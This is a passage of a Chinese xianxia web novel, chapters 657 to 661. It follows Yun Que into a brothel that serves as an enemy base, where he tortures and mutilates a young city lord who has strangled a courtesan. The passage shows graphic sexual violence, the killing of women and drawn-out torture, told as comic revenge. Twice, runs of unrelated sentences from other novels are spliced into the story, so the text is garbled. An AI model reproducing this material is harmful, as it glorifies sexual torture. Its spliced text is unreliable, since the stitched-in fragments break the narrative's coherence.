由于在药铺里报了半天病名,嘴巴都说麻了,这一激动,口水直接下来了。 瞎子也瞪大了眼睛,嘀咕道: “大当家的身子,原来这么弱,一身都是病……” 旁边的鸿影和吴命赞同的一起点了点头。 常威急忙咽下口水,大吼一声: “病你姥姥!今儿栽了,黑吃黑!” 一句黑吃黑,瞎子顿时反应过来。 他们就是悍匪,黑吃黑,说明这里是黑店! 常威大吼的同时,右手抡起长刀,咔嚓一声! 给他把脉的郎中,直接被斩断手腕! 在常威出刀的同时,瞎子也将匕首扎进了前边带路的小徒弟后腰。 这俩是绝对的悍匪, 不动则已,一旦动手就下了死手,旁边的鸿影还没明白怎么回事呢,屋子里已经血光大起。 断手的郎中极其诡异,脸色丝毫不变,根本看不出痛苦的表情,探出另一只手抓向常威的脖子。 被扎中后腰的小徒弟,更是转身扑向瞎子,犹如猛兽一般。 屋子里的其他郎中与学徒,加上账房先生,纷纷放下手里的活计,低吼着冲向几人。 一场混战,瞬间爆发。 有了援手之后,常威直接拼命,他知道这是最后的机会,能否逃生,在此一举。 瞎子的战力不弱,鸿影更能打,虽然吴命没有修为,但也比普通人强得多。 本以为自己一方会占据优势,常威却低估了敌人的力量。 药铺里的十几人,无论身上挨了几刀,都毫无影响,并且变得更加疯狂,力量也更大。 常威一不留神,被账房先生抓住手腕直接举过头顶,轰一声砸在地面。 把常威差点摔昏过去。 瞎子也被打得鼻青脸肿,勉强应对。 常威一咬牙,吼道: “逃出去!” 他翻身跃起,冲向大门,而一道身影却挡在面前。 正是鸿影! 常威一愣神儿的工夫,鸿影的拳头已经到了,直接轰在他肚子上。 这一拳力道极大。 常威又没防备,被打得五脏六腑翻滚不已,吐了口血,缓缓跌倒。 倒地之后,常威才发现鸿影的异样。 鸿影脸庞上失去了血色,变得无比苍白,目光空洞无神,犹如木偶。 鸿影抓起常威的钢刀,豁然砍下! 常威一闭眼,心说玩完! 今天必死! 下一刻,刀光并未落下。 常威发现脑袋没掉,急忙睁眼,看到一只大手抓住鸿影的腕子。 正是吴命! 常威都快哭了,破军爷爷威武! 虽然是个失去修为的破军爷爷,一样威武! 吴命神色凝重,冷喝道: “鸿影,醒来!” 以吴命的经验,看得出鸿影被某种力量控制,否则不可能对自己人下手。 然而喝声无法唤醒鸿影。 鸿影晃动臂膀,震开了吴命的大手,同时皮肤上浮现出血色。 血蛮之力被激发! 再次出刀的鸿影,无论力道还是气势都比之前拔升了一倍! 这一刀带着凶悍的刀气,常威看得头皮发麻,至少他肯定挡不住。 面对鸿影的全力一击,吴命站在原地,非但没退,反而踏步向前,击出了右掌。 嗡!!! 出掌带风,直奔鸿影面门。 快若奔雷! 佛门武道,金刚掌! 在刀落之前,吴命的金刚掌拍在鸿影的面门。 在常威和瞎子看来是拍中了,然而并非如此。 吴命的掌心距离鸿影的鼻尖只有一丝距离,如此力道拿捏得精到毫厘! 金刚掌虽然没打在鸿影面门,但是掌风完完全全笼罩了鸿影。 在常威和瞎子的眼里,鸿影身后被拍出一道虚影,就好似神魂被一掌拍出身外! 那虚影发出尖啸,没入墙角处的黑暗里。 鸿影随之清醒过来。 “吴大哥?你有修为了!”鸿影惊呼道。 吴命的目光茫然起来,很快变成明悟,道: “万法皆通,原来如此。” 吴命没在解释,即便解释了,除了他自己之外也没人会懂。 屋子里再次陷入混战。 吴命施展出金刚掌,最初是佛门八品武僧修为,三两招之后便成了七品行者修为,拍飞几个敌人后直接到了六品禅师的地步! 不多时,屋子里的敌人尽数被打倒,几人成功脱困,直奔城外而去。 而此时,云缺停步在街头。 皇宫,皇陵与丞相府这三处地点,都充满危险,云缺即便去了也用处不大,反而容易自己也陷入险境。 一路上云缺始终想不出什么好办法,但是此时,他终于知道了自己应该去什么地方! 第657章 我和月亮一样漂亮 最初发现噬魂兽的踪迹,就是闻香楼的玉尘身上。 云缺决定探一探那座闻名大秦的青楼,究竟出了什么古怪。 那噬魂师,很有可能就在闻香楼! 他飞速后退,然后转头看向姜劫,面露不解,不明白姜劫为什么要阻止他。对于恶魔,他一向没有好感,对伊利丹也是如此。 只是上次两人还是去赴考,心中颇为忐忑;这次是去进学,心中豪气干云。 “可以吗?”萧昀眼中闪烁跃跃欲试的光芒,水汪汪的大眼睛忽闪忽闪的,当真灵气逼人。 复活、这可是复活。那岂不是说如果自己有一天战死,也能在吾主的神恩之下重新复活。 灰烬军的力量损失了将近三分之一,“灰烬使者”芬娜的压力,更大了。 看着化为一道完美抛物线的奥古斯丁,贾长胜的心中充满了成就感。 距离还很远的时候,去卑就令手下大声的喊叫着,引得城门上的士兵将目光注意了过来。 眼看管亮和曾蹈两人,一下子吃下了十四人的晚饭,所有人都震惊了。 翼玄点头,手腕上的混沌叁气环飞至头顶,神游加之在翼玄身上的重压立刻消失的无影无踪,但是混沌叁气环只能罩住一人,所以翼玄在解除自身负面效果后,立刻展开了背后的骨翼。 任务栏内的任务,和以往不同,它的颜色,有了变化。之前的职业任务全都是白色的字体,而江火上次触发的随机任务则是红色的字体,但今天的终身任务,则是金色的字体。 “如果我说我们不去,你是不是会绑着我门去呢”幕雪的话多的不是一点点。 “左轮,粟婴的好队员,他把宝贵的生命献给了祖国,用鲜血见证了军人的荣耀,全体鸣枪敬礼!”轩冲着左轮的墓碑说道。 “那些礼品不过是面上的,皇上的陪伴才是真正值得炫耀的。”皇后掩盖不住嘴角的笑意,手里拿着帕子掩了掩嘴。 “什么?!这怎么可能……每一条龙脉,都是长达万丈,不知道有多少粗细!即便上古龙皇都是通天彻地之能,但身躯怎能有如此庞大?”陵漓公主震惊之后,却是很有几分不相信的意味。 这时,一直坐在靠近阳台角落里默默喝酒的戴帽男子朝着林鹏望了一眼,随即掏出手机,迅速的翻出一张照片。 心中这样想着,林鹏赶紧匆匆擦拭了下身体、换上衣服,拨通了黑桐博人的号码。 当她漫无目的的走在街上,心中思绪万千,没来由地感觉到了浓浓的孤独、寂寞、空虚。没有人理解自己,她只是想要做一名面前没有阻碍的医生,能够自由自在的治病救人,可是为何就这么难。 于是,杀手分别出动,挨个挨个的寻找,看看有没有留下的线索。 本来,那巫辞的发音,便不同于中原大地的任何一国。公子出把它翻译过来,但是吟诵之际,又在齐音中刻意地带上一点原味的楚腔。使得众人在能听懂之余,又能感觉到它的原汁原味,还真是动听得很。 姚楚汐早起时才听见这个消息,便吩咐落雨和韩尚宫几个做好席面来迎接方氏。 第658章 这么大的坑也跳,先生大义 云缺大方的一摆手。 “不行,只要双倍,要么不借。” 孔气气被气得龇牙咧嘴,又舍不得手里的五彩石,左右为难。 “其实不还也行,先生若能帮我锻造一副五行内甲,这块五彩石就当做报酬,送给先生。”云缺道。 平时自己也习惯了有事没事问他问题,说起来,周不疑比徐庶更像是自己的老师。 在很多人将一些知情人的话当做耳旁风的时候,杨雪飞这边也准备好了。 年纪轻轻的就肾虚尿频,上厕所十分频繁,黎天生在二楼的这个专用包间离洗手间最近,就是为了方便他尿尿,所以,林风等不了多久,就能等到黎天生了,而到时候,林风将会让黎天生知道,什么叫做真正的绝望。 莫海右把泥土捏在手心里反复查看,并没有什么异常,尸体埋与不埋不会有任何变化,然后他拉起尸体的手,手指尖剪得十分干净,也没有泥土,所以说尸体是死亡后被埋在这里的。 再者说,其他世家子弟,诸如张新陆机等人,虽然没有光明正大的赢,但也没有过分的羞辱,大多是象征性的过了几招,便让其下去了,但是卫实这边不一样。 这些人即使不觉得曹冲是杀害荀的凶手,但是曹冲在他们心中的印象绝对好不到哪里去。 泣惜蓉洗了几次牌之后,随手将纸牌放在桌面上,而后有些惆怅的愣了下神。 林风说着,走进了夏玥的卧室,这个包厢就在夏玥卧室之中,要是不找个理由,林风还不好进夏玥的卧室呢,。 唯独舒雪的尸体他一直存在着疑问。刑警锁好餐馆后门,朝着诡谲屋返回,脑海中反复思考着关于舒雪的事情。 另外重要一点是,金丹期修士阳寿千年为限,即使现任宋皇信守承诺三千年后禅让皇位,那也是千年之后的事情,端郡王根本等不到那个时候。 但陈壑的意志竟然是出乎意料之外的坚强,无论陆尘他们使用什么法子,也无法撬开他的嘴巴,哪怕是前阵子在讯问中“大放异彩”的白莲也做不到。 主持昆仑派日常事务的人从闲月真人变成了千灯真人,虽然在他的名号之前还有一个“暂代”,但随着闲月真人悄无声息地在闭关中沉寂下去,每一个昆仑派的人们都知道那宝座上坐的人终将是那张椅子真正的主人。 面对周围更多的蛮族战士,这些黑火部族的蛮人们没有丝毫犹豫,直接就在首领身后拔出兵器,一脸凶相地看着周围。 菲丽儿在看到一只这样的生物的时候便停了下来,她知道它一定是阶梯的守护者。 山风吹得他衣衫飘拂不定,凛冽的冷风不时掠过他的脸庞,总感觉有种被人不停打耳光的幻觉。而再看这夜色苍穹,天边明月,不知为何又有种茫然若失的感觉。 至于这两家公司都以“辰宇”命名,其中是否有什么瓜葛,两家公司的人员都讳莫如深,其他人想问也问不出个名堂,索性也就不去管了。 没有多大功夫,一众尸兽呼啸出了雾区,“嗖嗖嗖……”迎面一通乱箭,外加魔法、斗气,各种攻击铺天盖地。 连光线仿佛都静止下来的大殿中,九妙子听到了自己那怦怦狂跳的心跳声,怎么控制都控制不住。 第659章 都怪那个小贱人 九笤长袖这一声爹,听得云缺脑子里嗡了一声。 九笤长袖是九夷城的少城主,那么他爹就是城主! 身边的老者,居然是九夷城之主九笤原,星辰殿生肖之一的申猴! 要不是云缺久经沙场,换成旁人非得蹦起来不可。 不仅是仇家,还是不死不休的仇家! 九夷城正在控制着邵武国攻打大晋,云缺这位平天王本就与九夷城有着血仇,加上对方还是生肖高手,仇恨链已经彻底拉满。 云缺深吸一口气,尽力平复着心绪,始终望着台上的舞姬,手指在桌上敲着拍子,显得轻松自得。 心里却在盘算着当前的局面。 果然如之前的猜测,天龙城的诡异局面就是星辰殿所为,而且今天抵达的生肖高手绝不会仅有申猴一人。 云缺想不通一件事。 申猴九笤原为何出现在闻香楼? 还带着九笤长袖一起出现,看架势不像来对付秦皇,倒好像来游玩一般。 而且九笤原的架势,大有一种此地主人的感觉,好像闻香楼是他开的一样。 申猴酉鸡…… 云缺暗暗猜测,随着申猴的出现,酉鸡应该也到了天龙城。 酉鸡……鸡? 难不成,闻香楼是酉鸡的买卖? 云缺并非胡乱猜测,因为星辰殿的生肖高手大多与各自对应的生肖有些关联。 朱幺身上有着猪妖血脉,代号亥猪。 戌狗就是一头真正的狗妖。 巳蛇代表着阴险无情,正如魏墨城的为人。 辰龙则神龙见首不见尾…… 云缺这边正在心里盘算着,旁边的九笤长袖开始发脾气。 “什么办法都用了,就是没用!活着真没意思,我不如死了算了!” 九笤长袖懊恼之下,将桌上的酒壶甩了出去,砸在一个看歌舞的客人头上,直接砸得头破血流。 那客人捂着脑袋前来理论,不依不饶,非得拉着九笤长袖去见官。 九笤原一句话都没说,直接扔出一张银票。 被砸的客人不肯罢休,当他看清银票的面额,顿时眼睛瞪了起来。 “一、一万两!” 砸破头,人家赔了一万两,这种买卖不知多少人想求都求不到。 “滚!”九笤长袖喝骂了一声。 被砸之人连声称好,给九笤长袖磕了个头,高高兴兴的回家了。 “秦人,哼,一群见钱眼开的东西。” 九笤长袖鄙夷道,随后神色又哀怨起来,朝着他爹发脾气道:“爹!我不管!再给我想办法,要不然我就去死!” “好了,别那么心急,接上的时间太短,以后肯定会好起来的,为父保证让你恢复如初。”九笤原道。 “还得多久啊!养了这么多天,我都快无聊死了!”九笤长袖气呼呼的道。 “心急吃不到热豆腐,再养一阵子。”九笤原道。 听着两人的交谈,云缺心里一阵冷笑。 别人听不明白,云缺可心知肚明。 九笤长袖的伤势,就是云缺亲手所创。 在天澜宝境里的那一刀,丝毫不差,将九笤长袖的零碎儿完整的切了下来。 现在看来,九笤原肯定动用了一些手段,不知用什么东西又给九笤长袖接了个新的。 只不过新的不大好使,是个摆设。 九笤长袖越说越气,又是敲桌子,又是摔凳子。 九笤原无奈之下,看了眼旁边的云缺,道: “既然小兄弟有夜御七女之力,能否让老夫这犬子也开开眼界,见见世面。” “老先生这就难为人了,如此私密之事,岂能让别人旁观,不行不行。”云缺道。 九笤原呵呵一笑,道: “自然不会让你白忙一场,今天你在闻香楼的一切费用我都包了,外加一万两白银作为报酬,你看如何。” 云缺也笑了起来,道: “老先生出手阔绰,在下佩服,不过银子这东西,我也不缺,一万两而已,我就算省着花,一个月也花没了。” 九笤原略微有些意外,点点头,道: “不瞒小兄弟,我这犬子受过伤,如今在女人面前抬不起头来,若是小兄弟能传授几招,让他重振雄风,我出一百万两,即便没什么效果,让我儿旁观一番,十万两的报酬。” 云缺装作犹豫了一下,道: “好!今天就破例一次,不过十万两先得付清才行。” 九笤原哈哈一笑,随手甩出十万两的银票,眼都不眨一下。 云缺从善如流,收起银票,点了台上的七名花魁。 九笤长袖眯着眼睛搓着手,道: “到我的包间!你真能夜御七女?不会在吹牛吧!” “吹不吹牛,待会儿不就见分晓了。”云缺谈笑风生,与九笤长袖来到二楼最深处的天字一号包间。 闻香楼的包间分为三六九等,不同的费用。 天字号最贵。 但是闻香楼有个规矩。 天字一号包间是不对外开放的,只属于闻香楼东家,无论多少钱或者多高的地位,都进不去这处包间。 九笤长袖却能随意出入,可见他与闻香楼东家之间有着极深的关联。 走进包间的那一刻,云缺验证了之前的猜测。 酉鸡,应该就是闻香楼的东家! 所以申猴才能将闻香楼当做自家一般,可以为所欲为。 星辰殿的布局,再一次让云缺感到心惊。 谁能想到,名震大秦的第一青楼闻香楼,居然是星辰殿安插在秦皇眼皮子底下的一根钉子! 可见酉鸡此人必定是个八面玲珑的角色,很难对付。 从大厅来到包间这一路,云缺已经留意,却没见到闻香楼的东家在何处。 申猴在闻香楼,酉鸡去哪了呢? 噬魂师又在什么地方? 云缺原本想在闻香楼里寻找噬魂师的线索,结果发现了申猴,虽然没看到酉鸡,但云缺猜测申猴应该是在等待时机。 等待着一举灭掉天龙城的最佳时机。 看来还没到时候,还有翻盘的机会…… 云缺想着心事,走进天字一号包间后,立刻被里面的布局所吸引。 这处包间装潢得极其奢侈,门帘都是用纯金所制,地面铺着厚厚的天鹅绒,所有摆设不是珍珠就是玛瑙,连油灯的底座都是极品珊瑚。 简单一个字即可形容,豪! 这处包间比皇宫还要富丽堂皇,恐怕秦皇来了都要自叹不如,仿佛天下珍宝在这里都只是寻常之物,谁处都是。 七名花魁鱼贯而入,俏脸上都带着一种惊奇之色。 别看她们是花魁,没人来过这间屋子,走进来有一种受宠若惊之感。 九笤长袖将大门关好,笑道: “兄弟尊姓大名,今天可得让哥哥我开开眼。” “在下齐御,御女的御。”云缺报出了齐御的大名。 自己的名字不能报,梅钱的也不行,化境里云缺用的是梅芊芊,梅这个对九笤长袖来说绝对是噩梦般的字眼。 反正齐御有个当先生的好姐姐,他不怕坑。 “好名字哈哈!” 九笤长袖抚掌笑道:“连御七女以前我也勉强能做到,现在不行了,哎,都怪那个小贱人!” 说到小贱人,九笤长袖咬牙切齿,一脸的恨意。 云缺自然知道九笤长袖在骂谁,心说切你点零碎儿还不消停,那好,今天切你脑袋! 九笤长袖急不可耐,指着七名舞姬道: “从谁开始,齐兄弟你挑一个,或者一起来?” “自然是大家一起才热闹,一次一个岂能证明我的雄风!”云缺霸气的道。 “好!看来齐兄弟果然有过人之处。” 九笤长袖朝着花魁们冷喝道:“你们几个都听好了,今儿伺候好我这位小兄弟,让你们摆什么姿势就摆什么姿势,让你们哼什么调调就哼什么调调,谁敢不听话,哼,都别活了。” 九笤长袖的冷语,听得花魁们浑身颤抖,连忙称是。 云缺看得出花魁们都在畏惧着九笤长袖。 畏惧的原因只有一个。 床榻上倒着的那具尸体! 进屋后云缺就看到了尸体,是个极美的女子,不着片缕,身上有大片淤青,双手以一种诡异的姿势叠在背后,显然骨头已经断了。 脖子是青的,脸色苍白得毫无血色,预示着被人活活掐死。 这是个被折磨而死的花魁,身体还有温度,只是命已经没了。 九笤长袖见云缺看向尸体,冷哼了一声,上前抓住尸体的脚踝,直接扔到墙角。 “齐御兄弟别介意,刚才我下手重了点,掐死一个,放心,赔点钱而已,花魁的命,本公子买得起。” 九笤长袖得意的一笑,指着面前被吓得慑慑发抖的七名花魁,道:“这几个若是玩得尽兴,都掐死也无妨,齐兄弟不必留手,拿出你最强的手段来,她们死了,算我的!” 其中有两个花魁被吓得开始流泪,有个胆子大的转身就逃。 然而房门已经被锁死,这间屋子存在着特殊的阵法,毫无修为的花魁岂能逃得掉。 九笤长袖脸色一沉,几步上去抓住那逃走的花魁,恶狠狠的将其扔在床榻上。 “还敢跑?整个闻香楼都是我们家的!你往哪跑!” 啪!! 九笤长袖一巴掌甩下去,把那花魁打得满嘴是血,卷缩着身体直呼饶命。 九笤长袖不解气,亲自动手将花魁的衣衫尽数撕碎。 九笤长袖如同野兽般神色狰狞,掐着花魁的脖子咬牙切齿,看着对方翻起白眼奄奄一息的模样,他才能感受到那种阔别已久的快乐。 第660章 官人威猛 屋子里,其余的六名花魁吓得魂不附体,没人敢求情。 眼看着那花魁快要被掐死了,云缺开口道: “还没玩呢,死了多无趣。” 九笤长袖如梦方醒,缓缓松开手。 花魁大口喘气,好半晌才缓过来,吓得抖若筛糠。 “是我心急了,来,齐兄弟开始吧!”九笤长袖瞪了眼另外六名花魁,喝道:“愣着作甚,都滚过来!衣服拿掉!” 花魁们不敢不从,纷纷爬上床榻,如同一群羔羊般惊疑不定的等待着未知的命运。 今天的客人,是恶魔,她们不知道自己的下场会不会与墙角的尸体一样。 花魁们被吓得不轻,云缺倒是稳如泰山。 “别急,前戏得做足才有趣味,如此大好时光,岂能让美人们担惊受怕。” 云缺笑呵呵的对着花魁们说道:“你们不用怕,只要配合好了,不仅保你们毫发不损,每个人多给一万两。” 花魁们不知真假,连忙点头。 九笤长袖笑道:“看不出来,齐御兄弟年少多金,挥金如土啊,莫非兄弟是大唐皇族?” “沾点亲而已,算不得皇族,做点小生意。”云缺道。 “什么生意?我家生意也不少,今后有机会的话,不妨咱们联手赚钱!”九笤长袖兴致大起。 “我家的生意靠天吃饭,赚多赚少全看命。”云缺道。 九笤长袖越发感兴趣了,追问道:“看命的生意?有点意思,说说看,哪个行当?” “开赌坊的,下九流的买卖,不值一提。”云缺道。 “怪不得齐兄弟挥金似土,原来干的是大买卖啊!赌坊可不是什么下九流,那是一等一的生财之道!看样子齐兄弟在大唐皇城也有赌坊喽。”九笤长袖道。 “皇城里倒是有两处小赌坊,没多少人去,一晚上也就几千人。”云缺道。 “一晚上几千人的赌坊还叫小赌坊!皇城里就有两处!那不得一晚上坑死近万人……”九笤长袖察觉到说走嘴了,连忙改口道:“这么说,齐兄弟在别处还有更大的赌坊喽。” “确实,我家在大唐的赌坊加起来有三十处,最大的一处,一晚上至少两三万人,很是热闹,有机会兄台也去耍两把,乐呵乐呵。”云缺道。 “一定一定!嘿嘿,除了女人之外,耍钱是我的第二爱好,不过十赌九输的道理我还是懂的,到时候齐兄弟可别让我输太多啊。”九笤长袖道。 “放心!到了我家赌坊,你输的全算我的,赢的你全拿走,能赢多少,就看兄台的本事了。”云缺大气的道。 “哈哈一言为定!齐兄弟够敞快,我九笤长袖就喜欢你这种朋友!” 九笤长袖大笑道:“耍钱的事儿以后再说,今儿齐兄弟可要给我开开眼界,要是能让我恢复一些能力,你就是我九笤长袖的亲兄弟!” 云缺也哈哈大笑,道: “那咱们就开始吧,九笤兄,该你宽衣了。” 九笤长袖愣了下,道: “我不行啊,你来,我看着。” “非也非也,九笤兄是想一饱眼福呢,还是想冲开桎梏,重振雄风?”云缺道。 “当然是重振雄风了!什么代价都没问题!”九笤长袖肯定的道。 “那就对了,衣物有着隔绝阳气之效,我们男人就靠着一口阳气才能力战八方,九笤兄若想恢复如初,这些碍事的外物都得丢掉。”云缺道。 “有道理!”九笤长袖点点头,三下五除二,把自己的衣服全都扔掉。 来青楼,自然不需要什么羞耻可言,九笤长袖觉得云缺的说法十分独特,有着一定的道理。 云缺看了眼屋子。 大桌旁边是两个暖炉,上面温着香茶,旁边放着备用的瓷盆,瓷盆外侧镶嵌着一圈珍珠。 单单这一个盆就价值不菲。 靠墙一侧修建着浴池,里面是温泉水,水温刚好,水面上浮着一层薄雾。 云缺的嘴角挑了挑,心说九笤长袖啊九笤长袖,算你今天倒霉,遇到了我,你这辈子别想翻身。 “齐兄弟该你了!”九笤长袖催促道。 “九笤兄别急,还没完呢。”云缺说着取出个瓷瓶,里面是增加气血的丹药。 把丹药全部倒出来,分出一半,云缺一口吞掉。 然后将另一半递给九笤长袖。 “事前一口丹,赛过活神仙,九笤兄,吃吧,算我请的。” “你去青楼找姑娘,还得吃灵丹?”九笤长袖惊讶着挑起大拇指,赞道:“高啊!还是齐兄弟会玩!我怎么没想到呢!” 九笤长袖接过丹药闻了闻,确定是增加气血的丹药后,一口吞了下去。 “九笤兄觉得如何,是不是阳气更足,气血更旺。”云缺道。 “确实!我觉得精力旺盛,就快能行了!”九笤长袖道。 “接下来,是泉水疗法。” 云缺拿起瓷盆,在浴池里装了一盆水,放在一个暖炉上。 暖炉下边是炭火,用的极品好炭,火苗不大不小,正好能温水又不会将水煮沸。 “泉水疗法?怎么玩的?”九笤长袖兴致勃勃的道。 “丹药可使气血旺盛,属阳,而温泉之水可调节经络,属阴,阴阳调和,方可圆满,九笤兄将宝贝放入盆中,观我大战之时,保你雄风再起。”云缺信誓旦旦的道。 “好!好!” 九笤长袖信以为真,拉把凳子坐在暖炉旁,将自己的宝贝放进水盆。 他这宝贝,异于常人,是正常人的一倍多,甚是惊人。 云缺啧啧赞道: “九笤兄,好宝贝啊!此物之雄壮,在下生平仅见,如此异宝若终日蒙尘抬不起头来,天理难容啊。” 云缺心里在冷笑,你老子真下了血本,这玩意显然不是人的,而是妖的! 九笤长袖得意道: “全靠齐兄弟相助,为兄今后的幸福,都看你的了!” “九笤兄放心,小弟必将施展出浑身解数,上眼了。” 云缺说着走到床榻近前,将绣着金线的被褥撕成布条,然后把七个花魁的手脚全都捆了起来。 再用棉花加布条,将七人的嘴巴也给封死。 如此举动,看得九笤长袖兴奋不已,瞪大了眼睛,一眼不眨,脸上带着猥琐又狰狞的笑容。 九笤长袖只顾着看云缺和花魁了,并没发现脚下的暖炉,正在缓缓升温。 一道晦涩的气机,加大了火炭的燃烧。 云缺故意放慢着速度,绑完花魁,差不多正好一炷香的时间。 而此时,九笤长袖存放宝贝的瓷盆里,水已经快开了。 后接的宝贝,自然比不得原配,几乎没有感觉,所以九笤长袖并未察觉到温度的变化。 云缺伸展了一番手脚,看似要大战一番,忽然回头,道: “九笤兄,今天兄弟特意为你表演一个招式,保证你这辈子从未见过。” “好哇!快快开始!我都等不急了!”九笤长袖抚掌道。 “这招式有个惊天地泣鬼神的名字,九笤兄想不想知道叫什么。”云缺道。 “当然!快快说来!等我学会,以后也用这招!”九笤长袖催促道。 云缺哈哈一笑,道: “我这招的名字,叫做屌爆了!” 话音未落,九笤长袖身后突然出现了第二个云缺,双掌各自按在九笤长袖肩头。 四品破军的气机,顷刻涌入! 九笤长袖本来吃了一堆增加气血的丹药,药效汇聚于丹田小腹,被这股恐怖的气机直接推出丹田,尽数冲进宝贝之中。 于此同时,暖炉里的炭火疯狂燃烧,瓷盆里的泉水彻底沸腾! 沸水,加上狂暴的药效,组成了一股无法释放的力量。 在九笤长袖惊恐的目光下,他最近才接上的宝贝,直接爆裂开来! 屌,爆了! 水盆染成了鲜红。 九笤长袖刚要发出哀嚎,嘴巴被死死堵住。 云缺单手按在九笤长袖的肩头,冷冷一笑,破军之力彻底爆发。 恐怖的力量,直接将九笤长袖浑身骨骼碾成了齑粉! 九笤长袖瞪着死鱼般的眼睛,如同一滩烂泥般跌倒在地,浑身连颤抖都做不到,更说不出半个字来,奄奄一息。 云缺收起影身,站在九笤长袖面前,笑容可掬的道: “怎么样,我这招绝学,是不是惊世骇俗,九笤长袖,你可还满意?” 九笤长袖仅剩的神智在无法控制的战栗着,他在心里发誓,眼前的绝对不是人,而是魔鬼! 云缺笑呵呵的道: “一个尹千雪还不够,你连我的主意都想打,真是瞎了你的狗眼,连切你两次,算得上前无古人后无来者了。” 听到这里,九笤长袖的眼珠子疯狂晃动着,眼睛里全是惊悚。 在天澜宝境里他毒倒了尹千雪,本想生米煮成熟饭,却被尹千雪的同伴破坏。 这份仇,九笤长袖一直想报,可他怎么也找不到那个古灵精怪的小丫头梅芊芊。 这件事除了他九笤长袖,尹千雪与梅芊芊之外,不可能有第四个人,今天却从对方的口中说出。 “是不很奇怪,为什么我知道这件事。” 云缺微笑着用脚底踩着九笤长袖的脸,道:“因为我就是梅芊芊啊。” 九笤长袖此刻面如死灰。 他做梦也没想到,当时那个漂亮的小姑娘,居然是个男人! 其实也不怪九笤长袖想不到,这种事就算云缺遇到也一样,谁能想到龙凤丹有那等变态的奇效。 “你这种家伙,杀了太便宜你了。” 云缺从灵兽袋里拿出一只打结儿的怪虫,正是从地底世界抓来玩的栖影虫。 将虫子塞进九笤长袖的嘴巴,云缺冷淡的道: “放心,你不会死得太快,这虫子没了口器和爪子,短时间吃不掉你,慢慢享受这段美好的时光吧,少城主。” 处理完九笤长袖,云缺看了眼床榻上七个美人,傲然道: “本公子一夜御七女,今晚,你们服不服。” 七名花魁同一个动用,拼命的点头。 一边点头一边哭。 不是服气,而是服得五体投地,要不是被绑住,她们都要磕头朝拜,喊一句官人威猛。 第661章 就这么一个宝贝舅舅 九夷城的主人到了天龙城,注定是为击杀秦皇,覆灭大秦而来。 那么云缺也就没有留手的必要。 既然大家都摊牌了,谁也用不着惯着谁,看谁够狠就是了。 九夷城主就在楼下,云缺在楼上直接玩死了少城主九笤长袖。 可惜观众太少,只有七个花魁,气氛有些烘托不起来,没有少年城那种万众瞩目的感觉。 不过没关系, 玩死九笤长袖只是开胃小菜,接下来,云缺要玩死城主九笤原! 云缺对九夷人的恨意,已经到了罊竹难书,不死不休的地步。 祸害大晋诸多郡主,单单这一点云缺就忍不了。 大晋本来也没多少郡主,哪一个不是天生丽质天天沐浴,现在想要欣赏大晋郡主沐浴都没机会,夺我眼福之仇,不共戴天。 九夷人又控制邵武国攻打大晋,这更忍不了,夺我家的地,抢我家女人,挖我家祖坟,不弄死你们九夷人还叫什么猎妖人,还叫什么男人。 更过分的是,九夷城远在海边,居然潜入了大秦天龙城,要害我大舅,这谁能忍。 老子就这么一个宝贝舅舅,这辈子就指着他飞黄腾达呢,谁搞我大舅,我搞谁全家! 云缺冷冷一笑,先收了九笤长袖的储物袋。 九笤长袖也够倒霉的,在化境里就被云缺夺了一次储物袋,这是第二次。 打开瞄了眼。 果然,又满了,全是好东西,灵石丹药法器法宝应有尽有。 云缺已经盘算好了。 九笤原实力太强,至少在三品甚至二品,自己动手胜算不大。 而且那老家伙阴险狡诈,偷袭几乎没机会。 既然如此,只剩下一个法子。 引君入瓮! 折磨九笤长袖,云缺就是打着彻底激怒九笤原的心思。 只要看到他儿子落得如此下场,九笤原就算再如何老奸巨猾,也会完全暴怒。 那么接下来,云缺就有机会将其引到书楼,引到魔佛面前。 噬魂师没找到,先找到个九夷城的老贼,也算一份补品。 就算魔佛不喜欢也没办法,要么动手,要么等着被九笤原灭掉。 这一点云缺有绝对的把握。 因为接下来的计划,每一步云缺都想好了。 自己就在屋子里等着,时间一长,九笤原必定上来查看,等对方进门之前,云缺先出去,就说九笤长袖已经重振雄风,在里面享受呢。 留给九笤原查看的时间,只有片刻而已,而这段时间,也是云缺逃走的最佳时机。 不能跑得太早,九笤原找不到自己就没戏了。 就是让暴怒的九笤原追杀自己,紧跟着自己一路抵达书楼。 只要自己先一步闯进书楼,说出一句话就算成功。 这句话不多,六个字而已。 夫人,我闯祸了! 云缺的嘴角翘起一抹冷冷的笑意,自语道: “这不就是因果律么,佛门的因果律足够可怕,本王的因果律一样要命。” 一句夫人,即可将春梅与自己绑在同一辆战车之上,面对暴怒的九夷城主,魔佛不出手也得出手。 踢了脚半死不活的九笤长袖,云缺背着手在屋子里踱步,等待着时间。 走了一圈之后,耳畔传来月魁的声音。 “这间屋子有古怪。” 云缺目光一动,以心念问道。 “什么古怪?老姐发现了什么?” “阵中阵,此地被法阵封闭,出口只有大门,我能感受到还有一种隐晦的阵道气息存在,在屋子的西北角。” 云缺几步来到西北侧的角落。 之前被九笤长袖折磨死的花魁尸体,就倒在墙角。 云缺动用气机,扫过两侧的墙壁,毫无发现。 又抬手敲了敲,完全实心的砖石,没有暗门。 从储物袋里抓出了决云剑,云缺打算切开墙壁看看究竟。 既然月魁感知到另一种阵道气息,那么这间屋子里肯定还隐藏着秘密,说不定与噬魂师有关。 “别用剑,这法阵气息很古怪,并非防御类。” 月魁出言提醒。 云缺迟疑道: “武夫不懂法阵,想要破阵只能用外力,老姐觉得这种法阵有什么用处。” “不清楚,你不懂法阵,我更不懂,我只是觉得这法阵没有伤害力,像是用来遮蔽什么东西所用。” “遮蔽东西?” 云缺皱了皱眉,直接动用妖瞳之力,朝着墙角看去。 果然这次有些新的发现。 墙壁上,有着一条条极其暗淡的银线,犹如珠帘,大致有一扇门大小。 门…… 云缺在右手上铺满破军气机,用力的朝着珠帘位置按了按。 纹丝不动。 “用妖气试试。”月魁道。 云缺点点头,右手上换成了精纯的妖气。 还是推不动。 收起妖气,云缺用了九品儒修的文气。 依旧没有任何效果。 云缺沉吟不语,思索着珠帘之后到底是什么地方。 闻香楼是星辰殿的一处据点,这一点肯定没错,那么这座青楼里自然会有些极其隐秘的地方,或者用来藏身,或者用来存放重宝。 云缺几乎能断定,珠帘后面肯定有好东西。 机会难得。 闻香楼的主人应该不在此地,噬魂师也不在,肯定都出去对付大秦的高手,只有个九笤原坐镇。 现在是抄家的最佳时机,错过可就没机会了。 明知是个极大的发财机会,可就是打不开眼前的珠帘大门。 没办法之下,云缺直接用决云剑试了试。 剑身居然扎不进墙壁! 